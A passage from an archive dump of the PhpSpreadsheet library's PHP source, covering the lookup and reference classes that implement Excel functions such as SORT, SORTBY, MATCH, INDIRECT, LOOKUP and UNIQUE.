* If cell reference is omitted, and the function is being called through the calculation engine, * then it is assumed to be the reference of the cell in which the COLUMN function appears; * otherwise this function returns 1. * * Excel Function: * =COLUMN([cellAddress]) * * @param null|array|string $cellAddress A reference to a range of cells for which you want the column numbers * * @return int|int[] */ public static function COLUMN($cellAddress = null, ?Cell $cell = null): int|array { if (self::cellAddressNullOrWhitespace($cellAddress)) { return self::cellColumn($cell); } if (is_array($cellAddress)) { foreach ($cellAddress as $columnKey => $value) { $columnKey = (string) preg_replace('/[^a-z]/i', '', $columnKey); return Coordinate::columnIndexFromString($columnKey); } return self::cellColumn($cell); } $cellAddress = $cellAddress ?? ''; if ($cell != null) { [,, $sheetName] = Helpers::extractWorksheet($cellAddress, $cell); [,, $cellAddress] = Helpers::extractCellAddresses($cellAddress, true, $cell->getWorksheet(), $sheetName); } [, $cellAddress] = Worksheet::extractSheetTitle($cellAddress, true); $cellAddress ??= ''; if (str_contains($cellAddress, ':')) { [$startAddress, $endAddress] = explode(':', $cellAddress); $startAddress = (string) preg_replace('/[^a-z]/i', '', $startAddress); $endAddress = (string) preg_replace('/[^a-z]/i', '', $endAddress); return range( Coordinate::columnIndexFromString($startAddress), Coordinate::columnIndexFromString($endAddress) ); } $cellAddress = (string) preg_replace('/[^a-z]/i', '', $cellAddress); return Coordinate::columnIndexFromString($cellAddress); } /** * COLUMNS. * * Returns the number of columns in an array or reference. * * Excel Function: * =COLUMNS(cellAddress) * * @param null|array|string $cellAddress An array or array formula, or a reference to a range of cells * for which you want the number of columns * * @return int|string The number of columns in cellAddress, or a string if arguments are invalid */ public static function COLUMNS($cellAddress = null) { if (self::cellAddressNullOrWhitespace($cellAddress)) { return 1; } if (!is_array($cellAddress)) { return ExcelError::VALUE(); } reset($cellAddress); $isMatrix = (is_numeric(key($cellAddress))); [$columns, $rows] = Calculation::getMatrixDimensions($cellAddress); if ($isMatrix) { return $rows; } return $columns; } private static function cellRow(?Cell $cell): int { return ($cell !== null) ? $cell->getRow() : 1; } /** * ROW. * * Returns the row number of the given cell reference * If the cell reference is a range of cells, ROW returns the row numbers of each row in the reference * as a vertical array. * If cell reference is omitted, and the function is being called through the calculation engine, * then it is assumed to be the reference of the cell in which the ROW function appears; * otherwise this function returns 1. * * Excel Function: * =ROW([cellAddress]) * * @param null|array|string $cellAddress A reference to a range of cells for which you want the row numbers * * @return int|mixed[] */ public static function ROW($cellAddress = null, ?Cell $cell = null): int|array { if (self::cellAddressNullOrWhitespace($cellAddress)) { return self::cellRow($cell); } if (is_array($cellAddress)) { foreach ($cellAddress as $rowKey => $rowValue) { foreach ($rowValue as $columnKey => $cellValue) { return (int) preg_replace('/\D/', '', $rowKey); } } return self::cellRow($cell); } $cellAddress = $cellAddress ?? ''; if ($cell !== null) { [,, $sheetName] = Helpers::extractWorksheet($cellAddress, $cell); [,, $cellAddress] = Helpers::extractCellAddresses($cellAddress, true, $cell->getWorksheet(), $sheetName); } [, $cellAddress] = Worksheet::extractSheetTitle($cellAddress, true); $cellAddress ??= ''; if (str_contains($cellAddress, ':')) { [$startAddress, $endAddress] = explode(':', $cellAddress); $startAddress = (int) (string) preg_replace('/\D/', '', $startAddress); $endAddress = (int) (string) preg_replace('/\D/', '', $endAddress); return array_map( fn ($value): array => [$value], range($startAddress, $endAddress) ); } [$cellAddress] = explode(':', $cellAddress); return (int) preg_replace('/\D/', '', $cellAddress); } /** * ROWS. * * Returns the number of rows in an array or reference. * * Excel Function: * =ROWS(cellAddress) * * @param null|array|string $cellAddress An array or array formula, or a reference to a range of cells * for which you want the number of rows * * @return int|string The number of rows in cellAddress, or a string if arguments are invalid */ public static function ROWS($cellAddress = null) { if (self::cellAddressNullOrWhitespace($cellAddress)) { return 1; } if (!is_array($cellAddress)) { return ExcelError::VALUE(); } reset($cellAddress); $isMatrix = (is_numeric(key($cellAddress))); [$columns, $rows] = Calculation::getMatrixDimensions($cellAddress); if ($isMatrix) { return $columns; } return $rows; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/Sort.php000064400000026172151676714400023063 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class Sort extends LookupRefValidations { public const ORDER_ASCENDING = 1; public const ORDER_DESCENDING = -1; /** * SORT * The SORT function returns a sorted array of the elements in an array. * The returned array is the same shape as the provided array argument. * Both $sortIndex and $sortOrder can be arrays, to provide multi-level sorting. * * @param mixed $sortArray The range of cells being sorted * @param mixed $sortIndex The column or row number within the sortArray to sort on * @param mixed $sortOrder Flag indicating whether to sort ascending or descending * Ascending = 1 (self::ORDER_ASCENDING) * Descending = -1 (self::ORDER_DESCENDING) * @param mixed $byColumn Whether the sort should be determined by row (the default) or by column * * @return mixed The sorted values from the sort range */ public static function sort(mixed $sortArray, mixed $sortIndex = 1, mixed $sortOrder = self::ORDER_ASCENDING, mixed $byColumn = false): mixed { if (!is_array($sortArray)) { // Scalars are always returned "as is" return $sortArray; } $sortArray = self::enumerateArrayKeys($sortArray); $byColumn = (bool) $byColumn; $lookupIndexSize = $byColumn ? count($sortArray) : count($sortArray[0]); try { // If $sortIndex and $sortOrder are scalars, then convert them into arrays if (is_scalar($sortIndex)) { $sortIndex = [$sortIndex]; $sortOrder = is_scalar($sortOrder) ? [$sortOrder] : $sortOrder; } // but the values of those array arguments still need validation $sortOrder = (empty($sortOrder) ? [self::ORDER_ASCENDING] : $sortOrder); self::validateArrayArgumentsForSort($sortIndex, $sortOrder, $lookupIndexSize); } catch (Exception $e) { return $e->getMessage(); } // We want a simple, enumrated array of arrays where we can reference column by its index number. $sortArray = array_values(array_map('array_values', $sortArray)); return ($byColumn === true) ? self::sortByColumn($sortArray, $sortIndex, $sortOrder) : self::sortByRow($sortArray, $sortIndex, $sortOrder); } /** * SORTBY * The SORTBY function sorts the contents of a range or array based on the values in a corresponding range or array. * The returned array is the same shape as the provided array argument. * Both $sortIndex and $sortOrder can be arrays, to provide multi-level sorting. * * @param mixed $sortArray The range of cells being sorted * @param mixed $args * At least one additional argument must be provided, The vector or range to sort on * After that, arguments are passed as pairs: * sort order: ascending or descending * Ascending = 1 (self::ORDER_ASCENDING) * Descending = -1 (self::ORDER_DESCENDING) * additional arrays or ranges for multi-level sorting * * @return mixed The sorted values from the sort range */ public static function sortBy(mixed $sortArray, mixed ...$args): mixed { if (!is_array($sortArray)) { // Scalars are always returned "as is" return $sortArray; } $sortArray = self::enumerateArrayKeys($sortArray); $lookupArraySize = count($sortArray); $argumentCount = count($args); try { $sortBy = $sortOrder = []; for ($i = 0; $i < $argumentCount; $i += 2) { $sortBy[] = self::validateSortVector($args[$i], $lookupArraySize); $sortOrder[] = self::validateSortOrder($args[$i + 1] ?? self::ORDER_ASCENDING); } } catch (Exception $e) { return $e->getMessage(); } return self::processSortBy($sortArray, $sortBy, $sortOrder); } private static function enumerateArrayKeys(array $sortArray): array { array_walk( $sortArray, function (&$columns): void { if (is_array($columns)) { $columns = array_values($columns); } } ); return array_values($sortArray); } private static function validateScalarArgumentsForSort(mixed &$sortIndex, mixed &$sortOrder, int $sortArraySize): void { if (is_array($sortIndex) || is_array($sortOrder)) { throw new Exception(ExcelError::VALUE()); } $sortIndex = self::validatePositiveInt($sortIndex, false); if ($sortIndex > $sortArraySize) { throw new Exception(ExcelError::VALUE()); } $sortOrder = self::validateSortOrder($sortOrder); } private static function validateSortVector(mixed $sortVector, int $sortArraySize): array { if (!is_array($sortVector)) { throw new Exception(ExcelError::VALUE()); } // It doesn't matter if it's a row or a column vectors, it works either way $sortVector = Functions::flattenArray($sortVector); if (count($sortVector) !== $sortArraySize) { throw new Exception(ExcelError::VALUE()); } return $sortVector; } private static function validateSortOrder(mixed $sortOrder): int { $sortOrder = self::validateInt($sortOrder); if (($sortOrder == self::ORDER_ASCENDING || $sortOrder === self::ORDER_DESCENDING) === false) { throw new Exception(ExcelError::VALUE()); } return $sortOrder; } private static function validateArrayArgumentsForSort(array &$sortIndex, mixed &$sortOrder, int $sortArraySize): void { // It doesn't matter if they're row or column vectors, it works either way $sortIndex = Functions::flattenArray($sortIndex); $sortOrder = Functions::flattenArray($sortOrder); if ( count($sortOrder) === 0 || count($sortOrder) > $sortArraySize || (count($sortOrder) > count($sortIndex)) ) { throw new Exception(ExcelError::VALUE()); } if (count($sortIndex) > count($sortOrder)) { // If $sortOrder has fewer elements than $sortIndex, then the last order element is repeated. $sortOrder = array_merge( $sortOrder, array_fill(0, count($sortIndex) - count($sortOrder), array_pop($sortOrder)) ); } foreach ($sortIndex as $key => &$value) { self::validateScalarArgumentsForSort($value, $sortOrder[$key], $sortArraySize); } } private static function prepareSortVectorValues(array $sortVector): array { // Strings should be sorted case-insensitive; with booleans converted to locale-strings return array_map( function ($value) { if (is_bool($value)) { return ($value) ? Calculation::getTRUE() : Calculation::getFALSE(); } elseif (is_string($value)) { return StringHelper::strToLower($value); } return $value; }, $sortVector ); } /** * @param array[] $sortIndex * @param int[] $sortOrder */ private static function processSortBy(array $sortArray, array $sortIndex, array $sortOrder): array { $sortArguments = []; $sortData = []; foreach ($sortIndex as $index => $sortValues) { $sortData[] = $sortValues; $sortArguments[] = self::prepareSortVectorValues($sortValues); $sortArguments[] = $sortOrder[$index] === self::ORDER_ASCENDING ? SORT_ASC : SORT_DESC; } $sortVector = self::executeVectorSortQuery($sortData, $sortArguments); return self::sortLookupArrayFromVector($sortArray, $sortVector); } /** * @param int[] $sortIndex * @param int[] $sortOrder */ private static function sortByRow(array $sortArray, array $sortIndex, array $sortOrder): array { $sortVector = self::buildVectorForSort($sortArray, $sortIndex, $sortOrder); return self::sortLookupArrayFromVector($sortArray, $sortVector); } /** * @param int[] $sortIndex * @param int[] $sortOrder */ private static function sortByColumn(array $sortArray, array $sortIndex, array $sortOrder): array { $sortArray = Matrix::transpose($sortArray); $result = self::sortByRow($sortArray, $sortIndex, $sortOrder); return Matrix::transpose($result); } /** * @param int[] $sortIndex * @param int[] $sortOrder */ private static function buildVectorForSort(array $sortArray, array $sortIndex, array $sortOrder): array { $sortArguments = []; $sortData = []; foreach ($sortIndex as $index => $sortIndexValue) { $sortValues = array_column($sortArray, $sortIndexValue - 1); $sortData[] = $sortValues; $sortArguments[] = self::prepareSortVectorValues($sortValues); $sortArguments[] = $sortOrder[$index] === self::ORDER_ASCENDING ? SORT_ASC : SORT_DESC; } $sortData = self::executeVectorSortQuery($sortData, $sortArguments); return $sortData; } private static function executeVectorSortQuery(array $sortData, array $sortArguments): array { $sortData = Matrix::transpose($sortData); // We need to set an index that can be retained, as array_multisort doesn't maintain numeric keys. $sortDataIndexed = []; foreach ($sortData as $key => $value) { $sortDataIndexed[Coordinate::stringFromColumnIndex($key + 1)] = $value; } unset($sortData); $sortArguments[] = &$sortDataIndexed; array_multisort(...$sortArguments); // After the sort, we restore the numeric keys that will now be in the correct, sorted order $sortedData = []; foreach (array_keys($sortDataIndexed) as $key) { $sortedData[] = Coordinate::columnIndexFromString($key) - 1; } return $sortedData; } private static function sortLookupArrayFromVector(array $sortArray, array $sortVector): array { // Building a new array in the correct (sorted) order works; but may be memory heavy for larger arrays $sortedArray = []; foreach ($sortVector as $index) { $sortedArray[] = $sortArray[$index]; } return $sortedArray; // uksort( // $lookupArray, // function (int $a, int $b) use (array $sortVector) { // return $sortVector[$a] <=> $sortVector[$b]; // } // ); // // return $lookupArray; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/Helpers.php000064400000005357151676714400023540 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Cell\AddressHelper; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\DefinedName; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class Helpers { public const CELLADDRESS_USE_A1 = true; public const CELLADDRESS_USE_R1C1 = false; private static function convertR1C1(string &$cellAddress1, ?string &$cellAddress2, bool $a1, ?int $baseRow = null, ?int $baseCol = null): string { if ($a1 === self::CELLADDRESS_USE_R1C1) { $cellAddress1 = AddressHelper::convertToA1($cellAddress1, $baseRow ?? 1, $baseCol ?? 1); if ($cellAddress2) { $cellAddress2 = AddressHelper::convertToA1($cellAddress2, $baseRow ?? 1, $baseCol ?? 1); } } return $cellAddress1 . ($cellAddress2 ? ":$cellAddress2" : ''); } private static function adjustSheetTitle(string &$sheetTitle, ?string $value): void { if ($sheetTitle) { $sheetTitle .= '!'; if (stripos($value ?? '', $sheetTitle) === 0) { $sheetTitle = ''; } } } public static function extractCellAddresses(string $cellAddress, bool $a1, Worksheet $sheet, string $sheetName = '', ?int $baseRow = null, ?int $baseCol = null): array { $cellAddress1 = $cellAddress; $cellAddress2 = null; $namedRange = DefinedName::resolveName($cellAddress1, $sheet, $sheetName); if ($namedRange !== null) { $workSheet = $namedRange->getWorkSheet(); $sheetTitle = ($workSheet === null) ? '' : $workSheet->getTitle(); $value = (string) preg_replace('/^=/', '', $namedRange->getValue()); self::adjustSheetTitle($sheetTitle, $value); $cellAddress1 = $sheetTitle . $value; $cellAddress = $cellAddress1; $a1 = self::CELLADDRESS_USE_A1; } if (str_contains($cellAddress, ':')) { [$cellAddress1, $cellAddress2] = explode(':', $cellAddress); } $cellAddress = self::convertR1C1($cellAddress1, $cellAddress2, $a1, $baseRow, $baseCol); return [$cellAddress1, $cellAddress2, $cellAddress]; } public static function extractWorksheet(string $cellAddress, Cell $cell): array { $sheetName = ''; if (str_contains($cellAddress, '!')) { [$sheetName, $cellAddress] = Worksheet::extractSheetTitle($cellAddress, true); $sheetName = trim($sheetName, "'"); } $worksheet = ($sheetName !== '') ? $cell->getWorksheet()->getParentOrThrow()->getSheetByName($sheetName) : $cell->getWorksheet(); return [$cellAddress, $worksheet, $sheetName]; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/ExcelMatch.php000064400000023024151676714400024142 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Exception; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Calculation\Internal\WildcardMatch; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class ExcelMatch { use ArrayEnabled; public const MATCHTYPE_SMALLEST_VALUE = -1; public const MATCHTYPE_FIRST_VALUE = 0; public const MATCHTYPE_LARGEST_VALUE = 1; /** * MATCH. * * The MATCH function searches for a specified item in a range of cells * * Excel Function: * =MATCH(lookup_value, lookup_array, [match_type]) * * @param mixed $lookupValue The value that you want to match in lookup_array * @param mixed $lookupArray The range of cells being searched * @param mixed $matchType The number -1, 0, or 1. -1 means above, 0 means exact match, 1 means below. * If match_type is 1 or -1, the list has to be ordered. * * @return array|float|int|string The relative position of the found item */ public static function MATCH(mixed $lookupValue, mixed $lookupArray, mixed $matchType = self::MATCHTYPE_LARGEST_VALUE): array|string|int|float { if (is_array($lookupValue)) { return self::evaluateArrayArgumentsIgnore([self::class, __FUNCTION__], 1, $lookupValue, $lookupArray, $matchType); } $lookupArray = Functions::flattenArray($lookupArray); try { // Input validation self::validateLookupValue($lookupValue); $matchType = self::validateMatchType($matchType); self::validateLookupArray($lookupArray); $keySet = array_keys($lookupArray); if ($matchType == self::MATCHTYPE_LARGEST_VALUE) { // If match_type is 1 the list has to be processed from last to first $lookupArray = array_reverse($lookupArray); $keySet = array_reverse($keySet); } $lookupArray = self::prepareLookupArray($lookupArray, $matchType); } catch (Exception $e) { return $e->getMessage(); } // MATCH() is not case sensitive, so we convert lookup value to be lower cased if it's a string type. if (is_string($lookupValue)) { $lookupValue = StringHelper::strToLower($lookupValue); } $valueKey = match ($matchType) { self::MATCHTYPE_LARGEST_VALUE => self::matchLargestValue($lookupArray, $lookupValue, $keySet), self::MATCHTYPE_FIRST_VALUE => self::matchFirstValue($lookupArray, $lookupValue), default => self::matchSmallestValue($lookupArray, $lookupValue), }; if ($valueKey !== null) { return ++$valueKey; } // Unsuccessful in finding a match, return #N/A error value return ExcelError::NA(); } private static function matchFirstValue(array $lookupArray, mixed $lookupValue): int|string|null { if (is_string($lookupValue)) { $valueIsString = true; $wildcard = WildcardMatch::wildcard($lookupValue); } else { $valueIsString = false; $wildcard = ''; } $valueIsNumeric = is_int($lookupValue) || is_float($lookupValue); foreach ($lookupArray as $i => $lookupArrayValue) { if ( $valueIsString && is_string($lookupArrayValue) ) { if (WildcardMatch::compare($lookupArrayValue, $wildcard)) { return $i; // wildcard match } } else { if ($lookupArrayValue === $lookupValue) { return $i; // exact match } if ( $valueIsNumeric && (is_float($lookupArrayValue) || is_int($lookupArrayValue)) && $lookupArrayValue == $lookupValue ) { return $i; // exact match } } } return null; } private static function matchLargestValue(array $lookupArray, mixed $lookupValue, array $keySet): mixed { if (is_string($lookupValue)) { if (Functions::getCompatibilityMode() === Functions::COMPATIBILITY_OPENOFFICE) { $wildcard = WildcardMatch::wildcard($lookupValue); foreach (array_reverse($lookupArray) as $i => $lookupArrayValue) { if (is_string($lookupArrayValue) && WildcardMatch::compare($lookupArrayValue, $wildcard)) { return $i; } } } else { foreach ($lookupArray as $i => $lookupArrayValue) { if ($lookupArrayValue === $lookupValue) { return $keySet[$i]; } } } } $valueIsNumeric = is_int($lookupValue) || is_float($lookupValue); foreach ($lookupArray as $i => $lookupArrayValue) { if ($valueIsNumeric && (is_int($lookupArrayValue) || is_float($lookupArrayValue))) { if ($lookupArrayValue <= $lookupValue) { return array_search($i, $keySet); } } $typeMatch = gettype($lookupValue) === gettype($lookupArrayValue); if ($typeMatch && ($lookupArrayValue <= $lookupValue)) { return array_search($i, $keySet); } } return null; } private static function matchSmallestValue(array $lookupArray, mixed $lookupValue): int|string|null { $valueKey = null; if (is_string($lookupValue)) { if (Functions::getCompatibilityMode() === Functions::COMPATIBILITY_OPENOFFICE) { $wildcard = WildcardMatch::wildcard($lookupValue); foreach ($lookupArray as $i => $lookupArrayValue) { if (is_string($lookupArrayValue) && WildcardMatch::compare($lookupArrayValue, $wildcard)) { return $i; } } } } $valueIsNumeric = is_int($lookupValue) || is_float($lookupValue); // The basic algorithm is: // Iterate and keep the highest match until the next element is smaller than the searched value. // Return immediately if perfect match is found foreach ($lookupArray as $i => $lookupArrayValue) { $typeMatch = gettype($lookupValue) === gettype($lookupArrayValue); $bothNumeric = $valueIsNumeric && (is_int($lookupArrayValue) || is_float($lookupArrayValue)); if ($lookupArrayValue === $lookupValue) { // Another "special" case. If a perfect match is found, // the algorithm gives up immediately return $i; } if ($bothNumeric && $lookupValue == $lookupArrayValue) { return $i; // exact match, as above } if (($typeMatch || $bothNumeric) && $lookupArrayValue >= $lookupValue) { $valueKey = $i; } elseif ($typeMatch && $lookupArrayValue < $lookupValue) { //Excel algorithm gives up immediately if the first element is smaller than the searched value break; } } return $valueKey; } private static function validateLookupValue(mixed $lookupValue): void { // Lookup_value type has to be number, text, or logical values if ((!is_numeric($lookupValue)) && (!is_string($lookupValue)) && (!is_bool($lookupValue))) { throw new Exception(ExcelError::NA()); } } private static function validateMatchType(mixed $matchType): int { // Match_type is 0, 1 or -1 // However Excel accepts other numeric values, // including numeric strings and floats. // It seems to just be interested in the sign. if (!is_numeric($matchType)) { throw new Exception(ExcelError::Value()); } if ($matchType > 0) { return self::MATCHTYPE_LARGEST_VALUE; } if ($matchType < 0) { return self::MATCHTYPE_SMALLEST_VALUE; } return self::MATCHTYPE_FIRST_VALUE; } private static function validateLookupArray(array $lookupArray): void { // Lookup_array should not be empty $lookupArraySize = count($lookupArray); if ($lookupArraySize <= 0) { throw new Exception(ExcelError::NA()); } } private static function prepareLookupArray(array $lookupArray, mixed $matchType): array { // Lookup_array should contain only number, text, or logical values, or empty (null) cells foreach ($lookupArray as $i => $value) { // check the type of the value if ((!is_numeric($value)) && (!is_string($value)) && (!is_bool($value)) && ($value !== null)) { throw new Exception(ExcelError::NA()); } // Convert strings to lowercase for case-insensitive testing if (is_string($value)) { $lookupArray[$i] = StringHelper::strToLower($value); } if ( ($value === null) && (($matchType == self::MATCHTYPE_LARGEST_VALUE) || ($matchType == self::MATCHTYPE_SMALLEST_VALUE)) ) { unset($lookupArray[$i]); } } return $lookupArray; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/Indirect.php000064400000011724151676714400023672 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use Exception; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Cell\AddressRange; use PhpOffice\PhpSpreadsheet\Cell\Cell; use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; class Indirect { /** * Determine whether cell address is in A1 (true) or R1C1 (false) format. * * @param mixed $a1fmt Expect bool Helpers::CELLADDRESS_USE_A1 or CELLADDRESS_USE_R1C1, * but can be provided as numeric which is cast to bool */ private static function a1Format(mixed $a1fmt): bool { $a1fmt = Functions::flattenSingleValue($a1fmt); if ($a1fmt === null) { return Helpers::CELLADDRESS_USE_A1; } if (is_string($a1fmt)) { throw new Exception(ExcelError::VALUE()); } return (bool) $a1fmt; } /** * Convert cellAddress to string, verify not null string. */ private static function validateAddress(array|string|null $cellAddress): string { $cellAddress = Functions::flattenSingleValue($cellAddress); if (!is_string($cellAddress) || !$cellAddress) { throw new Exception(ExcelError::REF()); } return $cellAddress; } /** * INDIRECT. * * Returns the reference specified by a text string. * References are immediately evaluated to display their contents. * * Excel Function: * =INDIRECT(cellAddress, bool) where the bool argument is optional * * @param array|string $cellAddress $cellAddress The cell address of the current cell (containing this formula) * @param mixed $a1fmt Expect bool Helpers::CELLADDRESS_USE_A1 or CELLADDRESS_USE_R1C1, * but can be provided as numeric which is cast to bool * @param Cell $cell The current cell (containing this formula) * * @return array|string An array containing a cell or range of cells, or a string on error */ public static function INDIRECT($cellAddress, mixed $a1fmt, Cell $cell): string|array { [$baseCol, $baseRow] = Coordinate::indexesFromString($cell->getCoordinate()); try { $a1 = self::a1Format($a1fmt); $cellAddress = self::validateAddress($cellAddress); } catch (Exception $e) { return $e->getMessage(); } [$cellAddress, $worksheet, $sheetName] = Helpers::extractWorksheet($cellAddress, $cell); if (preg_match('/^' . Calculation::CALCULATION_REGEXP_COLUMNRANGE_RELATIVE . '$/miu', $cellAddress, $matches)) { $cellAddress = self::handleRowColumnRanges($worksheet, ...explode(':', $cellAddress)); } elseif (preg_match('/^' . Calculation::CALCULATION_REGEXP_ROWRANGE_RELATIVE . '$/miu', $cellAddress, $matches)) { $cellAddress = self::handleRowColumnRanges($worksheet, ...explode(':', $cellAddress)); } try { [$cellAddress1, $cellAddress2, $cellAddress] = Helpers::extractCellAddresses($cellAddress, $a1, $cell->getWorkSheet(), $sheetName, $baseRow, $baseCol); } catch (Exception) { return ExcelError::REF(); } if ( (!preg_match('/^' . Calculation::CALCULATION_REGEXP_CELLREF . '$/miu', $cellAddress1, $matches)) || (($cellAddress2 !== null) && (!preg_match('/^' . Calculation::CALCULATION_REGEXP_CELLREF . '$/miu', $cellAddress2, $matches))) ) { return ExcelError::REF(); } return self::extractRequiredCells($worksheet, $cellAddress); } /** * Extract range values. * * @return array Array of values in range if range contains more than one element. * Otherwise, a single value is returned. */ private static function extractRequiredCells(?Worksheet $worksheet, string $cellAddress): array { return Calculation::getInstance($worksheet !== null ? $worksheet->getParent() : null) ->extractCellRange($cellAddress, $worksheet, false); } private static function handleRowColumnRanges(?Worksheet $worksheet, string $start, string $end): string { // Being lazy, we're only checking a single row/column to get the max if (ctype_digit($start) && $start <= 1048576) { // Max 16,384 columns for Excel2007 $endColRef = ($worksheet !== null) ? $worksheet->getHighestDataColumn((int) $start) : AddressRange::MAX_COLUMN; return "A{$start}:{$endColRef}{$end}"; } elseif (ctype_alpha($start) && strlen($start) <= 3) { // Max 1,048,576 rows for Excel2007 $endRowRef = ($worksheet !== null) ? $worksheet->getHighestDataRow($start) : AddressRange::MAX_ROW; return "{$start}1:{$end}{$endRowRef}"; } return "{$start}:{$end}"; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/Lookup.php000064400000006670151676714400023406 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\ArrayEnabled; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; class Lookup { use ArrayEnabled; /** * LOOKUP * The LOOKUP function searches for value either from a one-row or one-column range or from an array. * * @param mixed $lookupValue The value that you want to match in lookup_array * @param mixed $lookupVector The range of cells being searched * @param null|mixed $resultVector The column from which the matching value must be returned * * @return mixed The value of the found cell */ public static function lookup(mixed $lookupValue, mixed $lookupVector, $resultVector = null): mixed { if (is_array($lookupValue)) { return self::evaluateArrayArgumentsSubset([self::class, __FUNCTION__], 1, $lookupValue, $lookupVector, $resultVector); } if (!is_array($lookupVector)) { return ExcelError::NA(); } $hasResultVector = isset($resultVector); $lookupRows = self::rowCount($lookupVector); $lookupColumns = self::columnCount($lookupVector); // we correctly orient our results if (($lookupRows === 1 && $lookupColumns > 1) || (!$hasResultVector && $lookupRows === 2 && $lookupColumns !== 2)) { $lookupVector = Matrix::transpose($lookupVector); $lookupRows = self::rowCount($lookupVector); $lookupColumns = self::columnCount($lookupVector); } $resultVector = self::verifyResultVector($resultVector ?? $lookupVector); if ($lookupRows === 2 && !$hasResultVector) { $resultVector = array_pop($lookupVector); $lookupVector = array_shift($lookupVector); } if ($lookupColumns !== 2) { $lookupVector = self::verifyLookupValues($lookupVector, $resultVector); } return VLookup::lookup($lookupValue, $lookupVector, 2); } private static function verifyLookupValues(array $lookupVector, array $resultVector): array { foreach ($lookupVector as &$value) { if (is_array($value)) { $k = array_keys($value); $key1 = $key2 = array_shift($k); ++$key2; $dataValue1 = $value[$key1]; } else { $key1 = 0; $key2 = 1; $dataValue1 = $value; } $dataValue2 = array_shift($resultVector); if (is_array($dataValue2)) { $dataValue2 = array_shift($dataValue2); } $value = [$key1 => $dataValue1, $key2 => $dataValue2]; } unset($value); return $lookupVector; } private static function verifyResultVector(array $resultVector): array { $resultRows = self::rowCount($resultVector); $resultColumns = self::columnCount($resultVector); // we correctly orient our results if ($resultRows === 1 && $resultColumns > 1) { $resultVector = Matrix::transpose($resultVector); } return $resultVector; } private static function rowCount(array $dataArray): int { return count($dataArray); } private static function columnCount(array $dataArray): int { $rowKeys = array_keys($dataArray); $row = array_shift($rowKeys); return count($dataArray[$row]); } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/LookupRef/Unique.php000064400000010330151676714400023367 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Calculation\LookupRef; use PhpOffice\PhpSpreadsheet\Calculation\Functions; use PhpOffice\PhpSpreadsheet\Calculation\Information\ExcelError; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; class Unique { /** * UNIQUE * The UNIQUE function searches for value either from a one-row or one-column range or from an array. * * @param mixed $lookupVector The range of cells being searched * @param mixed $byColumn Whether the uniqueness should be determined by row (the default) or by column * @param mixed $exactlyOnce Whether the function should return only entries that occur just once in the list * * @return mixed The unique values from the search range */ public static function unique(mixed $lookupVector, mixed $byColumn = false, mixed $exactlyOnce = false): mixed { if (!is_array($lookupVector)) { // Scalars are always returned "as is" return $lookupVector; } $byColumn = (bool) $byColumn; $exactlyOnce = (bool) $exactlyOnce; return ($byColumn === true) ? self::uniqueByColumn($lookupVector, $exactlyOnce) : self::uniqueByRow($lookupVector, $exactlyOnce); } private static function uniqueByRow(array $lookupVector, bool $exactlyOnce): mixed { // When not $byColumn, we count whole rows or values, not individual values // so implode each row into a single string value array_walk( $lookupVector, function (array &$value): void { $value = implode(chr(0x00), $value); } ); $result = self::countValuesCaseInsensitive($lookupVector); if ($exactlyOnce === true) { $result = self::exactlyOnceFilter($result); } if (count($result) === 0) { return ExcelError::CALC(); } $result = array_keys($result); // restore rows from their strings array_walk( $result, function (string &$value): void { $value = explode(chr(0x00), $value); } ); return (count($result) === 1) ? array_pop($result) : $result; } private static function uniqueByColumn(array $lookupVector, bool $exactlyOnce): mixed { $flattenedLookupVector = Functions::flattenArray($lookupVector); if (count($lookupVector, COUNT_RECURSIVE) > count($flattenedLookupVector, COUNT_RECURSIVE) + 1) { // We're looking at a full column check (multiple rows) $transpose = Matrix::transpose($lookupVector); $result = self::uniqueByRow($transpose, $exactlyOnce); return (is_array($result)) ? Matrix::transpose($result) : $result; } $result = self::countValuesCaseInsensitive($flattenedLookupVector); if ($exactlyOnce === true) { $result = self::exactlyOnceFilter($result); } if (count($result) === 0) { return ExcelError::CALC(); } $result = array_keys($result); return $result; } private static function countValuesCaseInsensitive(array $caseSensitiveLookupValues): array { $caseInsensitiveCounts = array_count_values( array_map( fn (string $value): string => StringHelper::strToUpper($value), $caseSensitiveLookupValues ) ); $caseSensitiveCounts = []; foreach ($caseInsensitiveCounts as $caseInsensitiveKey => $count) { if (is_numeric($caseInsensitiveKey)) { $caseSensitiveCounts[$caseInsensitiveKey] = $count; } else { foreach ($caseSensitiveLookupValues as $caseSensitiveValue) { if ($caseInsensitiveKey === 